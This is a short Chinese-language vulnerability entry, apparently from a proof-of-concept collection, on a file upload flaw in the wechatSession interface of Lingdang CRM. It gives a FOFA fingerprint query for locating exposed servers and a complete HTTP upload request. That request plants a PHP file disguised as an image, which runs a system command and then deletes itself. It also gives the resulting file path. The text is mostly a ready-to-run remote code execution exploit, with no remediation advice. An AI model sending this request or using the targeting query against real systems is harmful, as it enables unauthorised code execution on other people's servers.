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32 lines
1.2 KiB
Markdown
32 lines
1.2 KiB
Markdown
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# 灵当CRM系统接口wechatSession文件上传漏洞
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灵当CRM系统接口wechatSession文件上传漏洞，允许攻击者上传恶意文件到服务器，可能导致远程代码执行、网站篡改或其他形式的攻击，严重威胁系统和数据安全。
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## fofa
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```javascript
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body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")
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```
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## poc
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```javascript
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POST /crm/wechatSession/index.php?token=9b06a9617174f1085ddcfb4ccdb6837f&msgid=1&operation=upload HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
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Connection: keep-alive
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary03rNBzFMIytvpWhy
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------WebKitFormBoundary03rNBzFMIytvpWhy
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Content-Disposition: form-data; name="file"; filename="2.php"
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Content-Type: image/jpeg
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<?php system("whoami");unlink(__FILE__);?>
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------WebKitFormBoundary03rNBzFMIytvpWhy--
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```
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文件路径`/crm/storage/wechatsession/2024/10/14/2.php`
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